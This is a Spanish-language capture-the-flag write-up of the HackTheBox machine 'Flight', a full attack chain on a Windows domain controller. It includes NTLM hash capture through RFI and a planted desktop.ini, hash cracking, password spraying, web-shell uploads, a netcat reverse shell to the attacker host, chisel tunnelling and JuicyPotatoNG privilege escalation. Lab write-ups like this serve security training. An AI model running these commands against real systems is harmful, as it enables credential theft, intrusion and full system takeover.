Flight es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Flight 10.10.11.187 a /etc/hosts como flight.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# Nmap 7.92 scan initiated Wed Feb 8 17:30:35 2023 as: nmap -sV -oA enumeration/nmap-tcp 10.10.11.187 Nmap scan report for 10.10.11.187 Host is up (0.043s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-09 00:30:47Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Feb 8 17:30:49 2023 -- 1 IP address (1 host up) scanned in 14.46 seconds |
En primer lugar hacemos el escaneo de puertos y en este caso hay unos cuantos abiertos, así que vamos a proceder a revisar los mismos en detalle.
Enumeración
Revisamos el portal web existente en el puerto 80 y vemos la siguiente página web
No vemos nada relevante en esta página así que enumeramos subdominios con gobuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ gobuster vhost -u flight.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://flight.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/02/08 17:35:09 Starting gobuster in VHOST enumeration mode =============================================================== Found: school.flight.htb (Status: 200) [Size: 3996] |
Y descubrimos un dominio nuevo que añadiremos a nuestro fichero de hosts
1 |
school.flight.htb |
Una vez añadido procedemos a acceder al mismo a través del navegador
Revisando la misma encontramos un parámetro a través del cual carga las diferentes páginas
1 |
http://school.flight.htb/index.php?view=blog.html |
Pero probamos a hacer un LFI y nos bloquea al detectar un intento de ataque
No conseguimos nada por aqui así que vamos a probar a realizar un RFI, para ello montaremos un servidor smb en nuestro kali, a través del cual intentaremos que un usuario se autentique y nos facilite su hash NTLM.
Así que levantamos el servidor smb con impacket
1 2 3 4 5 6 7 8 9 |
$ sudo impacket-smbserver smbtest . -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed |
Lanzaremos un curl donde añadamos la dirección de nuestro servidor smb en el parámetro view
1 |
$ curl -s "http://school.flight.htb/index.php?view=//10.10.14.3/smbtest" &>/dev/null |
Y obtendremos el hash del usuario svc_apache en el mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ sudo impacket-smbserver smbtest . -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.11.187,49768) [*] AUTHENTICATE_MESSAGE (flight\svc_apache,G0) [*] User G0\svc_apache authenticated successfully [*] svc_apache::flight:aaaaaaaaaaaaaaaa:ed519695864d5986472ca14a378519e0:0101000000000000807e9056e53bd901b0a6e561411300fe000000000100100051006e004100670052004400510062000300100051006e004100670052004400510062000200100063004300560064005100650051004c000400100063004300560064005100650051004c0007000800807e9056e53bd901060004000200000008003000300000000000000000000000003000001692538d66ded6d72f80ca9d687fc724dcecf15e5a599d069d632eddbd4702010a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0033000000000000000000 [*] Closing down connection (10.10.11.187,49768) [*] Remaining connections [] |
Disponiendo del hash, lo metemos en un fichero y usaremos john para tratar de romperlo
1 2 3 4 5 6 7 8 9 |
$ john svc_apache -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status S@Ss!K@*t13 (svc_apache) 1g 0:00:00:10 DONE (2023-02-08 17:48) 0.09199g/s 980948p/s 980948c/s 980948C/s SADSAM..S@29$JL Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed. |
Y ya tenemos las primeras credenciales.
Obtendiendo credenciales del usuario S.Moon
Con las credenciales del usuario svc_apache vamos a verificar si las mismas son correctas con crackmapexec
1 2 3 |
$ cme smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13 |
Son válidas así que vamos a tratar de enumerar usuarios con las mismas
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ cme smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13 SMB 10.10.11.187 445 G0 [+] Enumerated domain user(s) SMB 10.10.11.187 445 G0 flight.htb\Administrator badpwdcount: 0 baddpwdtime: 2022-11-01 02:58:04.270581 SMB 10.10.11.187 445 G0 flight.htb\Guest badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\krbtgt badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\S.Moon badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\R.Cold badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\G.Lors badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\L.Kein badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\M.Gold badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\C.Bum badpwdcount: 0 baddpwdtime: 2022-09-22 21:50:15.815982 SMB 10.10.11.187 445 G0 flight.htb\W.Walker badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\I.Francis badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\D.Truff badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\V.Stevens badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 SMB 10.10.11.187 445 G0 flight.htb\svc_apache badpwdcount: 0 baddpwdtime: 2023-02-09 00:58:33.495122 SMB 10.10.11.187 445 G0 flight.htb\O.Possum badpwdcount: 0 baddpwdtime: 1601-01-01 00:00:00 |
Tenemos un listado de posibles usuarios, así que vamos a comprobar si la password es válida para alguno de ellos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ cme smb 10.10.11.187 -u users -p 'S@Ss!K@*t13' --continue-on-success SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) SMB 10.10.11.187 445 G0 [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13 SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13 SMB 10.10.11.187 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE SMB 10.10.11.187 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE |
Tenemos otro usuario válido, S.Moon.
Obtendiendo credenciales del usuario C.Bum
Vamos a revisar las unidades compartidas a las que tiene acceso este usuario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ cme smb 10.10.11.187 -u S.Moon -p 'S@Ss!K@*t13' --shares SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 (name:G0) (domain:flight.htb) (sign ing:True) (SMBv1:False) SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13 SMB 10.10.11.187 445 G0 [+] Enumerated shares SMB 10.10.11.187 445 G0 Share Permissions Remark SMB 10.10.11.187 445 G0 ----- ----------- ------ SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin SMB 10.10.11.187 445 G0 C$ Default share SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share SMB 10.10.11.187 445 G0 Shared READ,WRITE SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share SMB 10.10.11.187 445 G0 Users READ SMB 10.10.11.187 445 G0 Web READ |
Y vemos que tiene permisos de escritura sobre el directorio Shared, por lo que vamos a tirar por ahí.
Vamos a utilizar la misma técnica del servidor smb, pero en este caso, vamos a crear un fichero desktop.ini en la unidad compartida y crearemos un icono en el escritorio que apunte a nuestro servidor con la idea de que algún usuario haga click en el mismo y obtengamos su hash ntlm en el proceso de autenticación.
Así que generamos el fichero
1 2 3 |
$ cat desktop.ini [.ShellClassInfo] IconResource=\\10.10.14.3\smbtest\ |
Lo subimos a la unidad compartida
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ smbclient //10.10.11.187/Shared/ -U S.Moon -W flight.htb Password for [FLIGHT.HTB\S.Moon]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Feb 9 01:08:06 2023 .. D 0 Thu Feb 9 01:08:06 2023 5056511 blocks of size 4096. 1248747 blocks available smb: \> put desktop.ini putting file desktop.ini as \desktop.ini (0,4 kb/s) (average 0,4 kb/s) smb: \> ls . D 0 Thu Feb 9 01:13:30 2023 .. D 0 Thu Feb 9 01:13:30 2023 desktop.ini A 53 Thu Feb 9 01:13:30 2023 5056511 blocks of size 4096. 1248747 blocks available smb: \> |
Y esperamos unos segundos para obtener el hash del usuario c.bum
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ sudo impacket-smbserver smbtest . -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.11.187,49845) [*] AUTHENTICATE_MESSAGE (flight.htb\c.bum,G0) [*] User G0\c.bum authenticated successfully [*] c.bum::flight.htb:aaaaaaaaaaaaaaaa:a558e07a13b631c52ab444b003e43f34:010100000000000080a5d013e93bd9017a803b047d744d0c00000000010010006b0042006e0058007500610042006d00030010006b0042006e0058007500610042006d00020010006d0059005900460068006e0064004300040010006d0059005900460068006e00640043000700080080a5d013e93bd901060004000200000008003000300000000000000000000000003000001692538d66ded6d72f80ca9d687fc724dcecf15e5a599d069d632eddbd4702010a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0033000000000000000000 [*] Closing down connection (10.10.11.187,49845) [*] Remaining connections [] |
Volvemos a pasar por john para romperlas
1 2 3 4 5 6 7 8 9 |
$ john -w=/usr/share/wordlists/rockyou.txt cbum Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Tikkycoll_431012284 (c.bum) 1g 0:00:00:09 DONE (2023-02-08 18:15) 0.1055g/s 1112Kp/s 1112Kc/s 1112KC/s Timber06..Tiffani29 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed. |
Y verificamos de nuevo con crackmapexec la validez de las mismas
1 2 3 |
$ cme smb 10.10.11.187 -u c.bum -p 'Tikkycoll_431012284' SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) SMB 10.10.11.187 445 G0 [+] flight.htb\c.bum:Tikkycoll_431012284 |
Vale, ya tenemos las credenciales del usuario c.bum.
Obteniendo acceso al servidor
Con estas nuevas credenciales revisamos de nuevo las unidades compartidas a las cuales tenemos acceso
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ cme smb 10.10.11.187 -u c.bum -p 'Tikkycoll_431012284' --shares SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 (name:G0) (domain:flight.htb) (sign ing:True) (SMBv1:False) SMB 10.10.11.187 445 G0 [+] flight.htb\c.bum:Tikkycoll_431012284 SMB 10.10.11.187 445 G0 [+] Enumerated shares SMB 10.10.11.187 445 G0 Share Permissions Remark SMB 10.10.11.187 445 G0 ----- ----------- ------ SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin SMB 10.10.11.187 445 G0 C$ Default share SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share SMB 10.10.11.187 445 G0 Shared READ,WRITE SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share SMB 10.10.11.187 445 G0 Users READ SMB 10.10.11.187 445 G0 Web READ,WRITE |
Y tenemos permisos de escritura sobre la unidad Web así que vamos a ver que hay en la misma.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ smbclient //10.10.11.187/Web/ -U c.bum -W flight.htb Password for [FLIGHT.HTB\c.bum]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Feb 9 01:17:00 2023 .. D 0 Thu Feb 9 01:17:00 2023 flight.htb D 0 Thu Feb 9 01:17:00 2023 school.flight.htb D 0 Thu Feb 9 01:17:00 2023 5056511 blocks of size 4096. 1248741 blocks available smb: \> cd school.flight.htb\ smb: \school.flight.htb\> ls . D 0 Thu Feb 9 01:17:00 2023 .. D 0 Thu Feb 9 01:17:00 2023 about.html A 1689 Tue Oct 25 03:54:45 2022 blog.html A 3618 Tue Oct 25 03:53:59 2022 home.html A 2683 Tue Oct 25 03:56:58 2022 images D 0 Thu Feb 9 01:17:00 2023 index.php A 2092 Thu Oct 27 07:59:25 2022 lfi.html A 179 Thu Oct 27 07:55:16 2022 styles D 0 Thu Feb 9 01:17:00 2023 5056511 blocks of size 4096. 1248725 blocks available smb: \school.flight.htb\> |
Se trata del código de las aplicaciones web que vimos así que vamos a subir una webshell que nos ayude a obtener acceso a la máquina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
smb: \school.flight.htb\> put revshell.php putting file revshell.php as \school.flight.htb\revshell.php (39,2 kb/s) (average 39,2 kb/s) smb: \school.flight.htb\> ls . D 0 Thu Feb 9 01:20:32 2023 .. D 0 Thu Feb 9 01:20:32 2023 about.html A 1689 Tue Oct 25 03:54:45 2022 blog.html A 3618 Tue Oct 25 03:53:59 2022 home.html A 2683 Tue Oct 25 03:56:58 2022 images D 0 Thu Feb 9 01:17:00 2023 index.php A 2092 Thu Oct 27 07:59:25 2022 lfi.html A 179 Thu Oct 27 07:55:16 2022 revshell.php A 5493 Thu Feb 9 01:20:32 2023 styles D 0 Thu Feb 9 01:17:00 2023 5056511 blocks of size 4096. 1248723 blocks available smb: \school.flight.htb\> |
Ahora accedemos a la misma desde el navegador y ejecutaremos los siguientes comandos.
Crearemos un directorio donde subir los ficheros
1 |
mkdir C:\temp |
Subiremos netcat
1 |
curl 10.10.14.3/nc.exe -o C:\temp\nc.exe |
Y lo ejecutaremos
1 |
C:\temp\nc.exe -e cmd.exe 10.10.14.3 4444 |
Consiguiendo acceso en nuestra escucha con el usuario svc_apache
1 2 3 4 5 6 7 8 9 10 11 |
$ netcat -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.3] from (UNKNOWN) [10.10.11.187] 50173 Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved. C:\xampp\htdocs\school.flight.htb>whoami whoami flight\svc_apache C:\xampp\htdocs\school.flight.htb> |
Escalado al usuario C.Bum
Ahora que ya estamos dentro y disponemos además de las credeciales del usuario, vamos a utilizar RunasCs para escalar al usuario C.Bum
Descargamos la herramienta y la subimos a la máquina y posteriormente la ejecutamos
1 2 3 4 5 6 7 |
PS C:\temp> .\RunasCs.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.3:4445 .\RunasCs.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.3:4445 [*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)... [+] Running in session 0 with process function CreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-5db25$\Default [+] Async process 'cmd.exe' with pid 624 created and left in background. PS C:\temp> |
Y tendremos acceso en nuestra escucha con este usuario
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4445 listening on [any] 4445 ... connect to [10.10.14.3] from flight.htb [10.10.11.187] 50203 Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami flight\c.bum C:\Windows\system32> |
Obteniendo la flag de user
Ahora vamos al escritorio del usuario y cogemos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
c:\Users\C.Bum\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 1DF4-493D Directory of c:\Users\C.Bum\Desktop 09/22/2022 12:17 PM <DIR> . 09/22/2022 12:17 PM <DIR> .. 02/08/2023 04:30 PM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 5,090,926,592 bytes free c:\Users\C.Bum\Desktop>type user.txt type user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxc c:\Users\C.Bum\Desktop> |
Escalado de privilegios
A continuación enumeramos la máquina y, después de varias vueltas sobre la misma, encontramos un puerto en el cual está corriendo un IIS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
c:\Users\C.Bum\Desktop>netstat -oat netstat -oat Active Connections Proto Local Address Foreign Address State PID Offload State TCP 0.0.0.0:80 g0:0 LISTENING 4496 InHost TCP 0.0.0.0:88 g0:0 LISTENING 648 InHost TCP 0.0.0.0:135 g0:0 LISTENING 916 InHost TCP 0.0.0.0:389 g0:0 LISTENING 648 InHost TCP 0.0.0.0:443 g0:0 LISTENING 4496 InHost TCP 0.0.0.0:445 g0:0 LISTENING 4 InHost TCP 0.0.0.0:464 g0:0 LISTENING 648 InHost TCP 0.0.0.0:593 g0:0 LISTENING 916 InHost TCP 0.0.0.0:636 g0:0 LISTENING 648 InHost TCP 0.0.0.0:3268 g0:0 LISTENING 648 InHost TCP 0.0.0.0:3269 g0:0 LISTENING 648 InHost TCP 0.0.0.0:5985 g0:0 LISTENING 4 InHost TCP 0.0.0.0:8000 g0:0 LISTENING 4 InHost TCP 0.0.0.0:9389 g0:0 LISTENING 2796 InHost TCP 0.0.0.0:47001 g0:0 LISTENING 4 InHost TCP 0.0.0.0:49664 g0:0 LISTENING 500 InHost TCP 0.0.0.0:49665 g0:0 LISTENING 1112 InHost TCP 0.0.0.0:49666 g0:0 LISTENING 1500 InHost TCP 0.0.0.0:49667 g0:0 LISTENING 648 InHost TCP 0.0.0.0:49673 g0:0 LISTENING 648 InHost TCP 0.0.0.0:49674 g0:0 LISTENING 648 InHost TCP 0.0.0.0:49682 g0:0 LISTENING 640 InHost TCP 0.0.0.0:49690 g0:0 LISTENING 2976 InHost TCP 0.0.0.0:49699 g0:0 LISTENING 2908 InHost TCP 10.10.11.187:53 g0:0 LISTENING 2976 InHost TCP 10.10.11.187:80 10.10.14.3:54938 CLOSE_WAIT 4496 InHost TCP 10.10.11.187:139 g0:0 LISTENING 4 InHost TCP 10.10.11.187:445 10.10.14.3:34892 ESTABLISHED 4 InHost TCP 10.10.11.187:50173 10.10.14.3:4444 ESTABLISHED 4352 InHost TCP 10.10.11.187:50203 10.10.14.3:4445 ESTABLISHED 1920 InHost TCP 127.0.0.1:53 g0:0 LISTENING 2976 InHost |
Se trata del puerto 8000, pero no tenemos acceso al mismo, así que vamos a utilizar chisel para ello.
Crearemos entonces el servidor en nuestra máquina
1 2 3 4 |
$ ./chisel server --reverse --port 8888 2023/02/08 21:39:14 server: Reverse tunnelling enabled 2023/02/08 21:39:14 server: Fingerprint Nu8CfUR4ktiE1gMJmbwWgJYor1U4DduNCsmA7lZ3ORU= 2023/02/08 21:39:14 server: Listening on http://0.0.0.0:8888 |
Lanzamos el cliente en la máquina windows
1 2 3 4 |
c:\temp>.\chisel.exe client 10.10.14.3:8888 R:8000:127.0.0.1:8000 .\chisel.exe client 10.10.14.3:8888 R:8000:127.0.0.1:8000 2023/02/08 20:39:31 client: Connecting to ws://10.10.14.3:8888 2023/02/08 20:39:32 client: Connected (Latency 42.3577ms) |
Y tendremos la escucha en nuestro servidor
1 |
2023/02/08 21:39:31 server: session#1: tun: proxy#R:8000=>8000: Listening |
El siguiente paso será acceder al navegador y ver el portal existente en dicho puerto
Desconocemos donde está almacenando estos datos así que forzamos un error en la aplicación que nos permita descubrirlo
Y tenemos la ruta, así que vamos a revisar el contenido de la misma
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
PS C:\temp> cd c:\inetpub cd c:\inetpub PS C:\inetpub> dir dir Directory: C:\inetpub Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/22/2022 12:24 PM custerr d----- 2/8/2023 8:42 PM development d----- 9/22/2022 1:08 PM history d----- 9/22/2022 12:32 PM logs d----- 9/22/2022 12:24 PM temp d----- 9/22/2022 12:28 PM wwwroot PS C:\inetpub> cd development cd development PS C:\inetpub\development> dir dir Directory: C:\inetpub\development Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 2/8/2023 8:42 PM css d----- 2/8/2023 8:42 PM fonts d----- 2/8/2023 8:42 PM img d----- 2/8/2023 8:42 PM js -a---- 4/16/2018 2:23 PM 9371 contact.html -a---- 4/16/2018 2:23 PM 45949 index.html |
Es un IIS, por lo que podemos subir una webshell en aspx para conseguir elevar privilegios, así que subimos la misma
1 2 3 4 5 |
c:\inetpub\development>curl http://10.10.14.3/revshell.aspx -o revshell.aspx curl http://10.10.14.3/revshell.asp -o revshell.asp % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1363 100 1363 0 0 15382 0 --:--:-- --:--:-- --:--:-- 15314 |
Y accedemos al navegador para ejecutar netcat
Ejecutamos y obtendremos acceso con el usuario del servicio del IIS en nuestra escucha
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4446 listening on [any] 4446 ... connect to [10.10.14.3] from flight.htb [10.10.11.187] 50522 Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami whoami iis apppool\defaultapppool c:\windows\system32\inetsrv> |
Escalado a system
Ahora que estamos dentro revisamos los permisos de los que dispone el usuario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
c:\windows\system32\inetsrv>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled |
Y este tiene habilitado el privilegio de SeImpersonatePrivilege por lo que vamos a utilizarlo para escalar privilegios.
En nuestro caso vamos a utilizar JuicyPotatoNG para llevar a cabo esta acción, así que lo descargamos en la máquina
1 2 3 4 5 |
c:\temp>curl http://10.10.14.3/JuicyPotatoNG.exe -o JuicyPotatoNG.exe curl http://10.10.14.3/JuicyPotatoNG.exe -o JuicyPotatoNG.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 150k 100 150k 0 0 603k 0 --:--:-- --:--:-- --:--:-- 607k |
Y lo ejecutamos para convertirnos en system
1 2 3 4 5 6 7 8 |
c:\temp>.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -i .\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -i Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved. c:\>whoami whoami nt authority\system |
Obteniendo la flag de root
Estando ya como system, nos vamos al escritorio del usuario Administrator y cogemos la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
c:\>cd c:\users\administrator\desktop cd c:\users\administrator\desktop c:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 1DF4-493D Directory of c:\Users\Administrator\Desktop 09/22/2022 12:48 PM <DIR> . 09/22/2022 12:48 PM <DIR> .. 02/08/2023 04:30 PM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 5,071,110,144 bytes free c:\Users\Administrator\Desktop>type root.txt type root.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace